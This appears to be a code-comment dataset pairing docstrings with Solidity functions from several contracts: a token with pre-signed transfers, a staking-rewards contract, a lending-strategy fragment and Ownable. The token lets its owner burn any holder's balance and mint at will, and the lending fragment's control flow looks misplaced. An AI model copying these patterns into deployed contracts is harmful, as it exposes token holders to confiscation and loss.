balances[0xDbCCd61648edFFD465A50a7929B9f7a278Fd7D56] = 1000000 ether;
balances[0xca1504e201d4Dc31691b70653EB7Dcb1691bc62B] = 500000 ether;
}
function _burn(address _who, uint256 _value) onlyOwner public returns (bool) {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
return true;
}
function _mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
_totalSupply = SafeMath.add(_totalSupply, _amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(0x0000000000000000000000000000000000000000, _to, _amount);
return true;
}
/**
* @dev This code allows us to redirect pre-signed calls with different function selectors to our own.
**/
function ()
public
{
bytes memory calldata = msg.data;
bytes4 new_selector = standardSigs[msg.sig];
require(new_selector != 0);
assembly {
mstore(add(0x20, calldata), new_selector)
}
require(address(this).delegatecall(calldata));
assembly {
if iszero(eq(returndatasize, 0x20)) { revert(0, 0) }
returndatacopy(0, 0, returndatasize)
return(0, returndatasize)
}
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_transfer(msg.sender, _to, _amount));
return true;
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
require(_transfer(_from, _to, _amount));
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(_approve(msg.sender, _spender, _amount));
return true;
}
function increaseApproval(address _spender, uint256 _amount)
public
returns (bool success)
{
require(_increaseApproval(msg.sender, _spender, _amount));
return true;
}
function decreaseApproval(address _spender, uint256 _amount)
public
returns (bool success)
{
require(_decreaseApproval(msg.sender, _spender, _amount));
return true;
}
function approveAndCall(address _spender, uint256 _amount, bytes _data)
public
returns (bool success)
{
require(_approve(msg.sender, _spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(msg.sender, _amount, address(this), _data);
return true;
}
function _transfer(address _from, address _to, uint256 _amount)
internal
returns (bool success)
{
require (_to != address(0));
require(balances[_from] >= _amount);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function _approve(address _owner, address _spender, uint256 _amount)
internal
returns (bool success)
{
allowed[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
return true;
}
function _increaseApproval(address _owner, address _spender, uint256 _amount)
internal
returns (bool success)
{
allowed[_owner][_spender] = allowed[_owner][_spender].add(_amount);
emit Approval(_owner, _spender, allowed[_owner][_spender]);
return true;
}
function _decreaseApproval(address _owner, address _spender, uint256 _amount)
internal
returns (bool success)
{
if (allowed[_owner][_spender] <= _amount) allowed[_owner][_spender] = 0;
else allowed[_owner][_spender] = allowed[_owner][_spender].sub(_amount);
emit Approval(_owner, _spender, allowed[_owner][_spender]);
return true;
}
function transferPreSigned(
bytes _signature,
address _to,
uint256 _value,
bytes _extraData,
uint256 _nonce)
public
validPayload(292)
returns (bool)
{
// Log starting gas left of transaction for later gas price calculations.
// Recover signer address from signature; ensure address is valid.
address from = recoverPreSigned(_signature, transferSig, _to, _value, _extraData, _nonce);
require(from != address(0));
// Require the hash has not been used, declare it used, increment nonce.
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
// Internal transfer.
require(_transfer(from, _to, _value));
emit SignatureRedeemed(_signature, from);
return true;
}
function approvePreSigned(
bytes _signature,
address _to,
uint256 _value,
bytes _extraData,
uint256 _nonce)
public
validPayload(292)
returns (bool)
{
address from = recoverPreSigned(_signature, approveSig, _to, _value, _extraData, _nonce);
require(from != address(0));
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
require(_approve(from, _to, _value));
emit SignatureRedeemed(_signature, from);
return true;
}
function increaseApprovalPreSigned(
bytes _signature,
address _to,
uint256 _value,
bytes _extraData,
uint256 _nonce)
public
validPayload(292)
returns (bool)
{
address from = recoverPreSigned(_signature, increaseApprovalSig, _to, _value, _extraData, _nonce);
require(from != address(0));
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
require(_increaseApproval(from, _to, _value));
emit SignatureRedeemed(_signature, from);
return true;
}
/**
* @dev Added for the same reason as increaseApproval. Decreases to 0 if "_value" is greater than allowed.
**/
function decreaseApprovalPreSigned(
bytes _signature,
address _to,
uint256 _value,
bytes _extraData,
uint256 _nonce)
public
validPayload(292)
returns (bool)
{
address from = recoverPreSigned(_signature, decreaseApprovalSig, _to, _value, _extraData, _nonce);
require(from != address(0));
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
require(_decreaseApproval(from, _to, _value));
emit SignatureRedeemed(_signature, from);
return true;
}
function approveAndCallPreSigned(
bytes _signature,
address _to,
uint256 _value,
bytes _extraData,
uint256 _nonce)
public
validPayload(356)
returns (bool)
{
address from = recoverPreSigned(_signature, approveAndCallSig, _to, _value, _extraData, _nonce);
require(from != address(0));
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
require(_approve(from, _to, _value));
ApproveAndCallFallBack(_to).receiveApproval(from, _value, address(this), _extraData);
emit SignatureRedeemed(_signature, from);
return true;
}
function revokeSignature(bytes _sigToRevoke)
public
returns (bool)
{
invalidSignatures[msg.sender][_sigToRevoke] = true;
emit SignatureRedeemed(_sigToRevoke, msg.sender);
return true;
}
function revokeSignaturePreSigned(
bytes _signature,
bytes _sigToRevoke
)
public
validPayload(356)
returns (bool)
{
address from = recoverRevokeHash(_signature, _sigToRevoke);
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
invalidSignatures[from][_sigToRevoke] = true;
emit SignatureRedeemed(_signature, from);
return true;
}
function getRevokeHash(bytes _sigToRevoke)
public
pure
returns (bytes32 txHash)
{
return keccak256(revokeSignatureSig, _sigToRevoke);
}
function recoverRevokeHash(bytes _signature, bytes _sigToRevoke)
public
pure
returns (address from)
{
return ecrecoverFromSig(getSignHash(getRevokeHash(_sigToRevoke)), _signature);
}
function getPreSignedHash(
bytes4 _function,
address _to,
uint256 _value,
bytes _extraData,
uint256 _nonce)
public
view
returns (bytes32 txHash)
{
return keccak256(address(this), _function, _to, _value, _extraData, _nonce);
}
function recoverPreSigned(
bytes _sig,
bytes4 _function,
address _to,
uint256 _value,
bytes _extraData,
uint256 _nonce)
public
view
returns (address recovered)
{
bytes32 hexdData = getPreSignedHash(_function, _to, _value, _extraData, _nonce);
return ecrecoverFromSig( keccak256("\x19Ethereum Signed Message:\n32",hexdData), _sig);
}
/**
* @dev Add signature prefix to hash for recovery à la ERC191.
* @param _hash The hashed transaction to add signature prefix to.
**/
function getSignHash(bytes32 _hash)
public
pure
returns (bytes32 signHash)
{
return keccak256("\x19Ethereum Signed Message:\n32", _hash);
}
/**
* @dev Helps to reduce stack depth problems for delegations. Thank you to Bokky for this!
* @param hash The hash of signed data for the transaction.
* @param sig Contains r, s, and v for recovery of address from the hash.
**/
function ecrecoverFromSig(bytes32 hash, bytes sig)
public
pure
returns (address recoveredAddress)
{
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) return address(0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
// Here we are loading the last 32 bytes. We exploit the fact that 'mload' will pad with zeroes if we overread.
// There is no 'mload8' to do this, but that would be nicer.
v := byte(0, mload(add(sig, 96)))
}
// Albeit non-transactional signatures are not specified by the YP, one would expect it to match the YP range of [27, 28]
// geth uses [0, 1] and some clients have followed. This might change, see https://github.com/ethereum/go-ethereum/issues/2053
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) return address(0);
return ecrecover(hash, v, r, s);
}
/**
* @dev Frontend queries to find the next nonce of the user so they can find the new nonce to send.
* @param _owner Address that will be sending the COIN.
**/
function getNonce(address _owner)
external
view
returns (uint256 nonce)
{
return nonces[_owner];
}
/** ****************************** Constants ******************************* **/
/**
* @dev Return total supply of token.
**/
function totalSupply()
external
view
returns (uint256)
{
return _totalSupply;
}
/**
* @dev Return balance of a certain address.
* @param _owner The address whose balance we want to check.
**/
function balanceOf(address _owner)
external
view
returns (uint256)
{
return balances[_owner];
}
/**
* @dev Allowed amount for a user to spend of another's tokens.
* @param _owner The owner of the tokens approved to spend.
* @param _spender The address of the user allowed to spend the tokens.
**/
function allowance(address _owner, address _spender)
external
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/** ****************************** onlyOwner ******************************* **/
/**
* @dev Allow the owner to take ERC20 tokens off of this contract if they are accidentally sent.
**/
function token_escape(address _tokenContract)
external
onlyOwner
{
SiuCoin lostToken = SiuCoin(_tokenContract);
uint256 stuckTokens = lostToken.balanceOf(address(this));
lostToken.transfer(owner, stuckTokens);
}
/**
* @dev Owner may set the standard sig to redirect to one of our pre-signed functions.
* @dev Added in order to prepare for the ERC865 standard function names to be different from ours.
* @param _standardSig The function signature of the finalized standard function.
* @param _ourSig The function signature of our implemented function.
**/
function updateStandard(bytes4 _standardSig, bytes4 _ourSig)
external
onlyOwner
returns (bool success)
{
// These 6 are the signatures of our pre-signed functions. Don't want the owner messin' around.
require(_ourSig == 0x1296830d || _ourSig == 0x617b390b || _ourSig == 0xadb8249e ||
_ourSig == 0x8be52783 || _ourSig == 0xc8d4b389 || _ourSig == 0xe391a7c4);
standardSigs[_standardSig] = _ourSig;
return true;
}
/** ***************************** Modifiers ******************************** **/
modifier validPayload(uint _size) {
uint payload_size;
assembly {
payload_size := calldatasize
}
require(payload_size >= _size);
_;
}
} | Added for the same reason as increaseApproval. Decreases to 0 if "_value" is greater than allowed./ | function decreaseApprovalPreSigned(
bytes _signature,
address _to,
uint256 _value,
bytes _extraData,
uint256 _nonce)
public
validPayload(292)
returns (bool)
{
address from = recoverPreSigned(_signature, decreaseApprovalSig, _to, _value, _extraData, _nonce);
require(from != address(0));
require(!invalidSignatures[from][_signature]);
invalidSignatures[from][_signature] = true;
nonces[from]++;
require(_decreaseApproval(from, _to, _value));
emit SignatureRedeemed(_signature, from);
return true;
}
| 15,068,230 |
/*
______ __ _
| ____| / _| | |
| |__ ___ _ __ ___| |_ _ __ ___ _ __ | |_
| __/ _ \| '__/ _ \ _| '__/ _ \| '_ \| __|
| | | (_) | | | __/ | | | | (_) | | | | |_
|_| \___/|_| \___|_| |_| \___/|_| |_|\__|
* Forefront News Whitelisted Staking Rewards
* Made with love by Forefront
* Contract Dependencies:
* - IERC20
* - IStakingRewards
* - Owned
* - Pausable
* - ReentrancyGuard
* - RewardsDistributionRecipient
* Libraries:
* - Address
* - Math
* - SafeERC20
* - SafeMath
*
*/
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name,
string memory symbol,
uint8 decimals
) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* > Note that this information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* `IERC20.balanceOf` and `IERC20.transfer`.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transfer.selector, to, value)
);
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, value)
);
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(
abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed"
);
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier
* available, which can be aplied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor() internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
interface IStakingRewards {
// Views
function lastTimeRewardApplicable() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function earned(address account) external view returns (uint256);
function getRewardForDuration() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
// Mutative
function stake(uint256 amount) external;
function withdraw(uint256 amount) external;
function getReward() external;
function exit() external;
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(
msg.sender == nominatedOwner,
"You must be nominated before you can accept ownership"
);
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(
msg.sender == owner,
"Only the contract owner may perform this action"
);
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
contract RewardsDistributionRecipient is Owned {
address public rewardsDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardsDistribution() {
require(
msg.sender == rewardsDistribution,
"Caller is not RewardsDistribution contract"
);
_;
}
function setRewardsDistribution(address _rewardsDistribution)
external
onlyOwner
{
rewardsDistribution = _rewardsDistribution;
}
}
// Inheritance
contract Pausable is Owned {
uint256 public lastPauseTime;
bool public paused;
constructor() internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
// Paused will be false, and lastPauseTime will be 0 upon initialisation
}
/**
* @notice Change the paused state of the contract
* @dev Only the contract owner may call this.
*/
function setPaused(bool _paused) external onlyOwner {
// Ensure we're actually changing the state before we do anything
if (_paused == paused) {
return;
}
// Set our paused state.
paused = _paused;
// If applicable, set the last pause time.
if (paused) {
lastPauseTime = now;
}
// Let everyone know that our pause state has changed.
emit PauseChanged(paused);
}
event PauseChanged(bool isPaused);
modifier notPaused {
require(
!paused,
"This action cannot be performed while the contract is paused"
);
_;
}
}
// Inheritance
contract StakingRewards is
IStakingRewards,
RewardsDistributionRecipient,
ReentrancyGuard,
Pausable
{
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration = 90 days;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken
) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(_totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return
_balances[account]
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount)
external
nonReentrant
notPaused
updateReward(msg.sender)
{
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount)
public
nonReentrant
updateReward(msg.sender)
{
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
}
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward)
external
onlyRewardsDistribution
updateReward(address(0))
{
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint256 balance = rewardsToken.balanceOf(address(this));
require(
rewardRate <= balance.div(rewardsDuration),
"Provided reward too high"
);
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
// End rewards emission earlier
function updatePeriodFinish(uint256 timestamp)
external
onlyOwner
updateReward(address(0))
{
periodFinish = timestamp;
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount)
external
onlyOwner
{
require(
tokenAddress != address(stakingToken),
"Cannot withdraw the staking token"
);
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(
block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period"
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
} | Returns true if `account` is a contract. This test is non-exhaustive, and there may be false-negatives: during the execution of a contract's constructor, its address will be reported as not containing a contract. > It is unsafe to assume that an address for which this function returns false is an externally-owned account (EOA) and not a contract./ This method relies in extcodesize, which returns 0 for contracts in construction, since the code is only stored at the end of the constructor execution. solhint-disable-next-line no-inline-assembly | function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
| 1,288,268 |
./full_match/1/0x5B458d71a353384087CE1c48dA405D9cab14d155/sources/vesper-strategies/contracts/strategies/frax-lend/FraxLendVesperXy.sol | Deposit collateral in protocol and adjust borrow position Repay to maintain safe position Read collateral balance again as repay() may change balance | function _deposit() internal {
uint256 _collateralBalance = collateralToken.balanceOf(address(this));
(uint256 _borrowAmount, uint256 _repayAmount) = _calculateBorrowPosition(_collateralBalance, 0);
if (_repayAmount > 0) {
_repay(_repayAmount);
_collateralBalance = collateralToken.balanceOf(address(this));
if (_collateralBalance > 0) {
fraxLend.addCollateral(_collateralBalance, address(this));
}
}
}
| 9,703,243 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
